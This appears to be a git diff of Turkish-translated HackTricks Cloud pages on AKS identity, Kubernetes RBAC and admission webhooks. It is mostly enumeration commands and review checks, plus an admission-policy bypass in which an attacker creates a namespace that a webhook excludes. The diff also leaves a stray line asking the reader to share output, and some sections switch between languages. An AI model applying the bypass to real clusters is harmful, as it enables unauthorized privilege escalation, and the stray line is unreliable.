Azure Resource Manager üzerinden user veya admin kubeconfigs alabilir. `az aks get-credentials --admin` ile alınan local admin kubeconfigs certificate-based credentials’dır ve local accounts disabled değilse normal Microsoft Entra user/group governance’i bypass edebilir. -- **Microsoft Entra to Kubernetes**: Entra-integrated clusters, kullanıcıları, grupları veya service principals’ı `kubelogin`/exec kubeconfigs üzerinden authenticate eder. Nihai Kubernetes action, native Kubernetes RBAC veya Azure RBAC for Kubernetes Authorization tarafından authorize edilebilir. +- **Azure to Kubernetes**: Azure principals, Azure RBAC role buna izin veriyorsa, Azure Resource Manager üzerinden user veya admin kubeconfigs alabilir. `az aks get-credentials --admin` ile alınan local admin kubeconfigs certificate-based credentials’tır ve local accounts disabled değilse normal Microsoft Entra user/group governance’ını bypass edebilir. +- **Microsoft Entra to Kubernetes**: Entra-integrated clusters, kullanıcıları, grupları veya service principals’ı `kubelogin`/exec kubeconfigs üzerinden authenticate eder. Nihai Kubernetes action, native Kubernetes RBAC ya da Azure RBAC for Kubernetes Authorization ile authorize edilebilir. - **Kubernetes to Azure**: Pods normalde Microsoft Entra Workload ID kullanmalıdır; bu, projected Kubernetes service account tokens’ı AKS OIDC issuer ve federated identity credentials üzerinden Entra ile exchange eder. Azure’dan faydalı AKS identity checks: @@ -316,7 +359,7 @@ AKS_ID=$(az aks show -g -n --query id -o tsv) az role assignment list --scope "$AKS_ID" --include-inherited -o table az role assignment list --scope "$AKS_ID/namespaces/" -o table ``` -Kubernetes'ten, AKS Workload ID sinyallerini ara: +Kubernetes’tan AKS Workload ID sinyallerini arayın: ```bash kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 @@ -332,21 +375,43 @@ metadata: labels: azure.workload.identity/use: "true" ``` -Küme hâlâ deprecated Microsoft Entra pod-managed identity model kullanıyorsa, Workload ID annotations yerine eski CRDs ve NMI/MIC components bileşenlerini arayın: +Daha yeni AKS ortamları, her subject için bir federated identity credential oluşturmadan Workload ID’yi birçok cluster veya service account arasında ölçeklemek için **AKS Identity Bindings** (preview) kullanabilir. Bu modelde, bir user-assigned managed identity AKS cluster’a bağlanır, workload’lar `azure.workload.identity/use-identity-binding: "true"` ile bunu etkinleştirir ve Kubernetes RBAC, managed identity client ID’leri adlarıyla `cid.wi.aks.azure.com` resource’larında `use-managed-identity` izni verir. Buradaki geniş bir `ClusterRoleBinding`, direct federated identity credential subject’leri dar görünse bile aynı Azure identity’sini beklenenden daha fazla namespace’e açabilir. +```bash +az aks identity-binding list -g --cluster-name -o yaml +kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12 +``` +Eğer cluster hâlâ deprecated Microsoft Entra pod-managed identity modelini kullanıyorsa, Workload ID annotations yerine eski CRD'leri ve NMI/MIC component'lerini arayın: ```bash kubectl get crd | grep -i azureidentity kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' ``` -AKS node’ları Azure VM scale set instance’larıdır, bu yüzden node veya host-level access, Azure Instance Metadata Service’i `169.254.169.254` adresinde açığa çıkarabilir. Sıradan bir pod’un node managed identity credentials alacağını varsaymayın: workload identity ayarlarını, legacy pod identity/NMI davranışını, hostNetwork kullanımını, network controls ve node access’i önce doğrulayın. Bir node identity geniş Azure permissions’a sahipse, application Workload ID doğru şekilde scope edilmiş olsa bile node compromise bir Azure pivot’a dönüşebilir. +AKS node’ları Azure VM scale set instance’larıdır, bu yüzden node veya host düzeyinde erişim Azure Instance Metadata Service’e `169.254.169.254` adresinden erişim açığa çıkarabilir. Sıradan bir pod’un node managed identity credentials alacağını varsaymayın: workload identity ayarlarını, legacy pod identity/NMI davranışını, hostNetwork kullanımını, network kontrollerini ve önce node erişimini doğrulayın. Bir node identity geniş Azure permissions’a sahipse, application Workload ID doğru şekilde scoped olsa bile node compromise bir Azure pivot’a dönüşebilir. -## References +AKS Automatic ve Node Auto-Provisioning (NAP), toplamanız gereken node tarafı evidence’ı değiştirir. AKS Automatic, Workload ID/OIDC desteği, managed node pools, node resource group lockdown ve managed upgrade behavior dahil olmak üzere birkaç production default’u önceden yapılandırır. NAP, managed Karpenter-based provisioning mode’dur ve bekleyen workloads için hangi node’ların oluşturulacağını belirlemek üzere `NodePool`, `AKSNodeClass` ve `NodeClaim` gibi Kubernetes resources kullanır. Bu resources’u kimin değiştirebildiğini, yüksek etkili scheduling controls’ü, privileged pods’u ve broad tolerations’ı gözden geçirin; ayrıca node resource group lockdown’un doğrudan VMSS/load balancer edits’ini engelleyip değişiklikleri Kubernetes veya AKS APIs üzerinden zorlayıp zorlamadığını da kontrol edin. +```bash +az aks show -g -n \ +--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \ +-o yaml + +kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter' +kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null +``` +## Referanslar - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html) - [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) - [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings) - [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) +- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic) +- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning) +- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index 1f46aecc8..bac458eef 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,57 +4,65 @@ ## Role-Based Access Control (RBAC) -Kubernetes, API server’a kullanım izinleri ayarlamaya yardımcı olan **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) adlı bir **authorization module**’a sahiptir. +Kubernetes, API server’a kullanım izinleri ayarlamaya yardımcı olan **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) adlı bir **authorization module**’e sahiptir. -RBAC’ın permission modeli **üç ayrı parçadan** oluşur: +RBAC’in permission modeli **üç ayrı parçadan** oluşur: -1. **Role\ClusterRole –** Gerçek permission. Bir izin kümesini temsil eden _**rules**_ içerir. Her rule, [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) ve [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) içerir. Verb, resource üzerinde uygulanacak eylemdir. -2. **Subject (User, Group or ServiceAccount) –** Permission’ları alacak obje. +1. **Role\ClusterRole –** Gerçek permission. Bir permission kümesini temsil eden _**rules**_ içerir. Her rule, [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) ve [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) içerir. Verb, resource üzerinde uygulanacak action’dır. +2. **Subject (User, Group or ServiceAccount) –** Permission’ları alacak object. 3. **RoleBinding\ClusterRoleBinding –** Role\ClusterRole ile subject arasındaki bağlantı. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -“**Roles**” ve “**ClusterRoles**” arasındaki fark yalnızca role’un nerede uygulanacağıdır – bir “**Role**” yalnızca **bir** **belirli** **namespace** için erişim verirken, bir “**ClusterRole**” cluster içindeki **tüm namespaces** içinde kullanılabilir. Ayrıca, **ClusterRoles** şunlara da erişim verebilir: +“**Roles**” ile “**ClusterRoles**” arasındaki fark, role’un nerede uygulanacağıdır – bir “**Role**” yalnızca **bir** **belirli** **namespace** için erişim verirken, bir “**ClusterRole**” cluster’daki **tüm namespaces** içinde kullanılabilir. Ayrıca, **ClusterRoles** şunlara da erişim verebilir: - **cluster-scoped** resources (nodes gibi). - **non-resource** endpoints (/healthz gibi). - namespaced resources (Pods gibi), **tüm namespaces** boyunca. -**Kubernetes** 1.6’dan itibaren **RBAC** policies varsayılan olarak **etkinleştirilmiştir**. Ancak RBAC’i etkinleştirmek için şuna benzer bir şey kullanabilirsiniz: +**Kubernetes** 1.6’dan itibaren **RBAC** policies varsayılan olarak **enabled** durumdadır. Ancak RBAC’i enable etmek için şöyle bir şey kullanabilirsin: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` +Modern clusters can also configure the API server authorizer chain with `--authorization-config`, which points to an `AuthorizationConfiguration` file. This file can define ordered authorizers, multiple webhook authorizers, webhook timeouts, `failurePolicy`, cache settings, and CEL `matchConditions` that decide which requests are sent to a webhook. During a security review, do not stop at `--authorization-mode` if `--authorization-config` is present: read the referenced file and check whether a webhook can fail open with `NoOpinion`, whether match conditions skip sensitive resources, and whether all API server replicas use equivalent authorization configuration. + +Also check authentication configuration when reviewing anonymous API exposure. `--authentication-config` can scope the anonymous authenticator to specific paths such as `/livez`, `/readyz`, and `/healthz`. Anonymous health endpoint access is not the same as anonymous access to Kubernetes resources; the dangerous condition is an RBAC or authorizer path that lets `system:anonymous` or `system:unauthenticated` read or modify real API objects. + +Finally, treat membership in `system:masters` as cluster-admin-equivalent. Users or certificates in this group have unrestricted API access that bypasses normal RBAC and webhook authorization restrictions, so identity mappings that add this group can be more important than ordinary RoleBinding output. + ## Templates -Bir **Role** veya **ClusterRole** şablonunda, **role adını**, **namespace**'i (roles içinde) ve ardından role ait **apiGroups**, **resources** ve **verbs**'leri belirtmeniz gerekir: +In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role: -- **apiGroups**, bu kuralın uygulandığı farklı **API namespaces**'leri içeren bir dizidir. Örneğin, bir Pod tanımı apiVersion: v1 kullanır. _rbac.authorization.k8s.io veya \[\*] gibi değerler alabilir_. -- **resources**, bu kuralın **hangi resources'lara uygulandığını** tanımlayan bir dizidir. Tüm resources'ları şurada bulabilirsiniz: `kubectl api-resources --namespaced=true` -- **verbs**, **izin verilen verbs**'leri içeren bir dizidir. Kubernetes'teki verb, resource'a uygulamanız gereken **işlem türünü** tanımlar. Örneğin, list verb'i collection'lara karşı kullanılırken, "get" tek bir resource'a karşı kullanılır. +- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_. +- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true` +- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource. ### Rules Verbs -(_Bu bilgi_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb) _kaynağından alınmıştır_) +(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (tekil resources için), list (collection'lar için, tam object içeriği dahil), watch (tekil bir resource veya resource collection'larını izlemek için) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (tekil resources için), deletecollection (collection'lar için) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes bazen specialized verbs kullanarak ek permissions için authorization kontrolü yapar. Örneğin: +Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -- `policy` API group'undaki `podsecuritypolicies` resources üzerinde `use` verb'i. +- `use` verb on `podsecuritypolicies` resources in the `policy` API group. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) -- `rbac.authorization.k8s.io` API group'undaki `roles` ve `clusterroles` resources üzerinde `bind` ve `escalate` verb'leri. +- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- core API group'undaki `users`, `groups` ve `serviceaccounts` üzerinde `impersonate` verb'i, ayrıca `authentication.k8s.io` API group'undaki `userextras`. +- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group. + +Kubernetes v1.36 also includes **constrained impersonation** as a beta feature. Instead of only granting the legacy all-or-nothing `impersonate` verb, clusters can grant mode-specific verbs such as `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, or `impersonate:associated-node`, plus action-specific verbs such as `impersonate-on:user-info:list` on the target resource. Review both halves: the identity the subject can impersonate and the actions it can perform while impersonating. Legacy `impersonate` rules can still allow broader access, so do not assume constrained-looking verbs are enforced unless the API server version and access-review evidence confirm it. > [!WARNING] -> `kubectl api-resources --sort-by name -o wide` çalıştırarak **her resource'un desteklediği tüm verbs'leri** bulabilirsiniz +> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide` ### Examples ```yaml:Role @@ -84,9 +92,9 @@ verbs: ["get", "watch", "list"] ``` kubectl get pods --all-namespaces ``` -### **RoleBinding ve ClusterRoleBinding** +### **RoleBinding and ClusterRoleBinding** -[**Dokümanlardan:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Bir **role binding, bir role içinde tanımlanan izinleri bir user’a veya bir kullanıcı grubuna verir**. Bir subjects listesi (users, groups veya service accounts) ve verilen role’a bir referans içerir. Bir **RoleBinding**, belirli bir **namespace** içinde izin verirken, bir **ClusterRoleBinding** bu erişimi **cluster-wide** olarak verir. +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Bir **role binding, bir role içinde tanımlanan permissions’ları bir user’a veya bir kullanıcı grubuna verir**. Bu, bir subjects listesi (users, groups veya service accounts) ve verilen role bir reference içerir. Bir **RoleBinding**, belirli bir **namespace** içinde permissions verirken, bir **ClusterRoleBinding** bu access’i **cluster-wide** verir. ```yaml:RoleBinding apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. @@ -126,9 +134,9 @@ apiGroup: rbac.authorization.k8s.io ### Kontrol etmeye değer detaylar -RBAC, YAML `kind` yerine API URL’lerinde göründüğü haliyle resource adlarını kullanır. Bir Pod `pods`, bir Deployment `deployments` olur ve subresources `/` ile yazılır; örneğin `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` veya `services/proxy`. `pods` üzerindeki bir permission, otomatik olarak `pods/exec` veya `pods/log` erişimi vermez. +RBAC, YAML `kind` yerine API URL’lerde göründükleri şekilde resource names kullanır. Bir Pod `pods`, bir Deployment `deployments` olur ve subresources `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` veya `services/proxy` gibi bir slash ile yazılır. `pods` üzerindeki bir permission, otomatik olarak `pods/exec` veya `pods/log` erişimi vermez. -`resourceNames`, bazı istekleri belirli object adlarıyla kısıtlayabilir: +`resourceNames`, bazı requests’i belirli object adlarıyla kısıtlayabilir: ```yaml rules: - apiGroups: [""] @@ -136,7 +144,7 @@ resources: ["configmaps"] resourceNames: ["app-config"] verbs: ["get", "update"] ``` -Bu, üst düzey `create` veya `deletecollection` işlemlerini ada göre kısıtlamaz. `list` ve `watch` için, client eşleşen bir `metadata.name` field selector içermelidir; aksi takdirde istek bu rule tarafından yetkilendirilmez: +Bu, üst düzey `create` veya `deletecollection` işlemlerini ada göre kısıtlamaz. `list` ve `watch` için, istemci eşleşen bir `metadata.name` field selector içermelidir; aksi halde istek bu kural tarafından yetkilendirilmez: ```bash kubectl get configmaps -n default --field-selector=metadata.name=app-config ``` @@ -147,8 +155,9 @@ kubectl auth can-i create serviceaccounts/token -n default kubectl auth can-i impersonate users kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io +kubectl auth can-i impersonate-on:user-info:list pods -n default ``` -## **RBAC'ı Enumerate Etme** +## **RBAC’yi Enumarate Etme** ```bash # Get current privileges kubectl auth can-i --list @@ -170,7 +179,7 @@ kubectl describe roles kubectl get rolebindings kubectl describe rolebindings ``` -### Yetki Yükseltmesi için Role/ClusterRoles kötüye kullanımı +### Role/ClusterRoles'u Ayrıcalık Yükseltme için Kötüye Kullanma {{#ref}} abusing-roles-clusterroles-in-kubernetes/ diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index fdbbc1134..707f9c2e3 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -6,20 +6,20 @@ ## Tanım -`ValidatingWebhookConfiguration`, bir veya daha fazla validating admission webhook kaydeden bir Kubernetes kaynağıdır. Bu webhooks, kimlik doğrulama ve yetkilendirmeden sonra fakat nesne kalıcı hale getirilmeden önce API server’dan AdmissionReview istekleri alır. +`ValidatingWebhookConfiguration`, bir veya daha fazla validating admission webhook kaydeden bir Kubernetes kaynağıdır. Bu webhooks, API server’dan authentication ve authorization sonrasında, ancak nesne kalıcı hale getirilmeden önce AdmissionReview istekleri alır. -Validating webhooks bir isteği reddedebilir. `MutatingWebhookConfiguration` ile yapılandırılan Mutating webhooks ise önce nesneyi değiştirebilir. Security review’ler genellikle her iki kaynağı da incelemelidir çünkü kötü amaçlı veya zayıf bir mutating webhook, workloads’u yeniden yazabilir; buna karşılık bir validating webhook veya policy engine bunları engelleyebilir ya da izin verebilir. +Validating webhooks bir isteği reddedebilir. `MutatingWebhookConfiguration` ile yapılandırılan mutating webhooks, önce nesneyi değiştirebilir. Security reviews genellikle her iki kaynağı da incelemelidir çünkü kötü niyetli veya zayıf bir mutating webhook workload’ları yeniden yazabilir, while bir validating webhook veya policy engine onları engelleyebilir ya da izin verebilir. ## Amaç -`ValidatingWebhookConfiguration`’ın amacı, API server’ın ne zaman bir validating webhook çağıracağını ve webhook sonucunu nasıl işleyeceğini tanımlamaktır. Önemli security sorusu yalnızca "bir policy kurulu mu?" değil, aynı zamanda şunlardır: +`ValidatingWebhookConfiguration`’ın amacı, API server’ın ne zaman bir validating webhook çağıracağını ve webhook sonucunu nasıl işleyeceğini tanımlamaktır. Önemli security sorusu yalnızca "bir policy yüklü mü?" değil, aynı zamanda şunlardır: - Hangi API groups, resources, operations ve scopes ile eşleşiyor? -- Hangi namespaces veya objects, selectors tarafından hariç tutuluyor? +- Hangi namespaces veya nesneler selectors tarafından hariç tutuluyor? - `matchConditions` herhangi bir request sınıfını atlıyor mu? - `failurePolicy`, `Ignore` ile fail open mı yoksa `Fail` ile fail closed mı? -- Webhook service erişilebilir mi, yapılandırılmış `caBundle` tarafından trusted mı ve çok yüksek ayrıcalıklı bir service account ile mi çalışıyor? -- Policy engine ayrıca exception resources, excluded users veya excluded groups da sunuyor mu? +- Webhook service erişilebilir mi, yapılandırılan `caBundle` tarafından trusted mı ve yüksek ayrıcalıklı bir service account tarafından mı çalıştırılıyor? +- policy engine ayrıca exception resources, excluded users veya excluded groups da sunuyor mu? **Örnek** @@ -57,8 +57,8 @@ The main difference between a ValidatingWebhookConfiguration and policies :

Kyverno.png

-- **ValidatingWebhookConfiguration (VWC)** : Gelen Kubernetes API isteklerini önceden tanımlanmış bir dizi kural ve kısıta karşı doğrulayan, sunucu taraflı bir bileşen olan validating webhook'u tanımlayan bir Kubernetes kaynağıdır. -- **Kyverno ClusterPolicy**: pods, deployments ve services gibi Kubernetes kaynaklarını doğrulamak ve enforce etmek için bir dizi kural ve kısıt belirleyen bir policy tanımıdır +- **ValidatingWebhookConfiguration (VWC)** : Gelen Kubernetes API isteklerini önceden tanımlanmış bir dizi kural ve kısıta karşı doğrulayan, server-side bir bileşen olan bir validating webhook tanımlayan bir Kubernetes kaynağıdır. +- **Kyverno ClusterPolicy**: pods, deployments ve services gibi Kubernetes resources'ları doğrulamak ve enforce etmek için bir dizi kural ve kısıt belirten bir policy tanımıdır ## Enumeration ``` @@ -69,63 +69,55 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook ``` İncelenecek alanlar: -- `rules`: Kapsanan API gruplarını, sürümleri, resources, subresources, operations ve scope'u kontrol edin. -- `namespaceSelector` / `objectSelector`: Policy'den resources'ları hariç tutan namespaces veya labels olup olmadığına bakın. -- `matchConditions`: CEL ifadeleri kasıtlı ya da istemeden requests'i atlayabilir. -- `failurePolicy`: `Ignore`, webhook başarısız olursa requests'in devam etmesine izin verir; `Fail` bunları engeller. -- `sideEffects`: Side effects olan webhooks, dry-run testing'i desteklemeyebilir. -- `timeoutSeconds`: `Ignore` ile birlikte çok kısa timeout'lar fail-open davranışına dönüşebilir. -- `clientConfig`: Webhook'un in-cluster bir Service'e mi yoksa external URL'e mi işaret ettiğini gözden geçirin ve arkasındaki workload ile service account'u inceleyin. -- `reinvocationPolicy`: Mutating webhooks, sonraki mutation object'i değiştirdiğinde yeniden invoke edilebilir. +- `rules`: Kapsanan API groups, versions, resources, subresources, operations ve scope’u kontrol edin. +- `namespaceSelector` / `objectSelector`: Policy’den resource’ları hariç tutan namespaces veya labels olup olmadığına bakın. +- `matchConditions`: CEL expressions, istekleri bilerek veya yanlışlıkla atlayabilir. +- `failurePolicy`: `Ignore`, webhook başarısız olursa isteklerin devam etmesine izin verir; `Fail` ise onları engeller. +- `sideEffects`: Side effects olan webhooks, dry-run testing’i desteklemeyebilir. +- `timeoutSeconds`: `Ignore` ile birlikte çok kısa timeout’lar fail-open davranışa dönüşebilir. +- `clientConfig`: Webhook’un in-cluster bir Service’e mi yoksa external URL’ye mi işaret ettiğini inceleyin ve backing workload ile service account’u kontrol edin. +- `reinvocationPolicy`: Mutating webhooks, sonraki mutation object’i değiştirdiğinde yeniden invoke edilebilir. + +### Native CEL admission policies + +Modern clusters ayrıca admission logic’i yalnızca webhook configurations ile değil, `admissionregistration.k8s.io` içindeki native policy objects ile de enforce edebilir. `ValidatingAdmissionPolicy`, validating webhooks’e in-process CEL tabanlı bir alternatiftir ve yalnızca bir `ValidatingAdmissionPolicyBinding` onu seçtiğinde aktiftir. `MutatingAdmissionPolicy` Kubernetes v1.36’da stabildir ve CEL tarafından üretilen mutations için `MutatingAdmissionPolicyBinding` ile etkinleştirilir. + +Şunlarla listeleyin: +```bash +kubectl api-resources --api-group=admissionregistration.k8s.io -o wide +kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings +kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true +kubectl get validatingadmissionpolicy -o yaml +kubectl get validatingadmissionpolicybinding -o yaml +``` +Güvenlik kontrolleri: + +- Binding olmayan bir policy hiçbir şeyi enforce etmez. +- Binding üzerindeki `validationActions`, validation failures durumunda denied, warned, audited ya da yalnızca recorded olup olmayacağını belirler. +- `failurePolicy: Ignore`, CEL evaluation errors veya misconfiguration durumunda fail open yapılmasına izin verir. +- `matchConstraints`, `matchConditions`, `namespaceSelector` ve `objectSelector`, hassas istekleri exclude edebilir. +- `paramKind` ve `paramRef`, ConfigMaps veya CRD-backed parameter objects'lerin policy boundary'nin bir parçası olmasını sağlayabilir; bu parameter objects'leri kimlerin değiştirebildiğini kontrol edin. +- Policy'lere, binding'lere ve parameter resources'a yapılan writes, privileged admission-control değişiklikleri gibi ele alınmalıdır. ### Abusing Kyverno and Gatekeeper VWC -Gördüğümüz gibi kurulu olan tüm operators en az bir ValidatingWebHookConfiguration(VWC) içeriyor. +Gördüğümüz gibi kurulu tüm operators en az bir ValidatingWebHookConfiguration(VWC) içeriyor. -**Kyverno** ve **Gatekeeper**, cluster genelinde policies tanımlamak ve uygulamak için bir framework sağlayan Kubernetes policy engines'dir. +**Kyverno** ve **Gatekeeper**, bir cluster genelinde policies tanımlamak ve enforce etmek için framework sağlayan Kubernetes policy engines'idir. -Exceptions, bir policy'nin belirli koşullar altında bypass edilmesine veya değiştirilmesine izin veren özel rules veya koşulları ifade eder, ancak bu tek yol değildir ! +Exceptions, bir policy'nin belirli koşullar altında bypass edilmesine veya değiştirilmesine izin veren özel rules veya conditions'ları ifade eder, ancak bu tek yol değildir ! -**kyverno** için, bir validating policy olduğu sürece `kyverno-resource-validating-webhook-cfg` webhook'u doldurulur. +**kyverno** için, bir validating policy olduğu sürece `kyverno-resource-validating-webhook-cfg` webhook'u populate edilir. -Gatekeeper için `gatekeeper-validating-webhook-configuration` YAML file vardır. +Gatekeeper için `gatekeeper-validating-webhook-configuration` YAML dosyası vardır. -İkisi de default değerlerle gelir ama Administrator ekipleri bu 2 file'ı güncellemiş olabilir. +İkisi de varsayılan values ile gelir, ancak Administrator teams bu iki dosyayı güncellemiş olabilir. ### Use Case ```bash $ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml ``` -## Kubernetes ValidatingWebhookConfiguration - -The `ValidatingWebhookConfiguration` object allows you to define webhooks that are called when resources are created or updated. These webhooks can be used to validate requests before they are persisted in the cluster. - -A common abuse case is to register a webhook that denies or modifies requests for specific resources, which can be used to block defenders or alter workloads. - -Example: - -```yaml -apiVersion: admissionregistration.k8s.io/v1 -kind: ValidatingWebhookConfiguration -metadata: - name: example-webhook -webhooks: - - name: validate.example.com - clientConfig: - service: - name: webhook-service - namespace: default - path: /validate - rules: - - apiGroups: ["*"] - apiVersions: ["*"] - operations: ["CREATE", "UPDATE"] - resources: ["pods"] -``` - -If you can create or modify a `ValidatingWebhookConfiguration`, you may be able to intercept admission requests and enforce arbitrary policy decisions. - -Related: `MutatingWebhookConfiguration` +Lütfen aşağıdaki çıktıyı paylaşın. ```yaml namespaceSelector: matchExpressions: @@ -138,22 +130,22 @@ values: - kube-system - MYAPP ``` -Here, `kubernetes.io/metadata.name` namespace adını belirten etikete refers. `values` listesindeki isimlere sahip namespaces policy’den hariç tutulacaktır: +Burada, `kubernetes.io/metadata.name`, namespace adı etiketini ifade eder. `values` listesindeki adlara sahip namespace’ler policy kapsamı dışında bırakılacaktır: -Namespaces varlığını kontrol edin. Bazen automation veya misconfiguration nedeniyle bazı namespaces oluşturulmamış olabilir. Eğer namespace oluşturma izniniz varsa, `values` listesinde bulunan bir isimle bir namespace oluşturabilirsiniz ve policies yeni namespace’inize uygulanmaz. +Namespace varlığını kontrol edin. Bazen otomasyon veya yanlış yapılandırma nedeniyle bazı namespace’ler oluşturulmamış olabilir. Eğer namespace oluşturma izniniz varsa, `values` listesindeki bir ada sahip bir namespace oluşturabilir ve policy’lerin yeni namespace’inize uygulanmamasını sağlayabilirsiniz. -Bu attack’ın amacı, operator kısıtlamalarını bypass etmek ve ardından diğer techniques ile yetkilerinizi yükseltmek için VWC içindeki **misconfiguration**’ı exploit etmektir +Bu attack’ın amacı, operator kısıtlamalarını atlatmak ve ardından diğer tekniklerle ayrıcalıklarınızı yükseltmek için VWC içindeki **misconfiguration**’ı istismar etmektir -Diğer yaygın bypass veya abuse patterns: +Diğer yaygın bypass veya abuse kalıpları: -- Kullanıcıların kendi objects’lerine opt-out etiketi eklemesine izin veren bir `objectSelector`. -- Özellikle webhook Service’in endpoint’leri yoksa veya networking güvenilmezse, security-critical validation üzerinde `failurePolicy: Ignore`. -- Kullanıcılar, gruplar, service accounts, namespaces veya intended olandan daha geniş roles için policy engine exceptions. -- Workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources veya update operations için 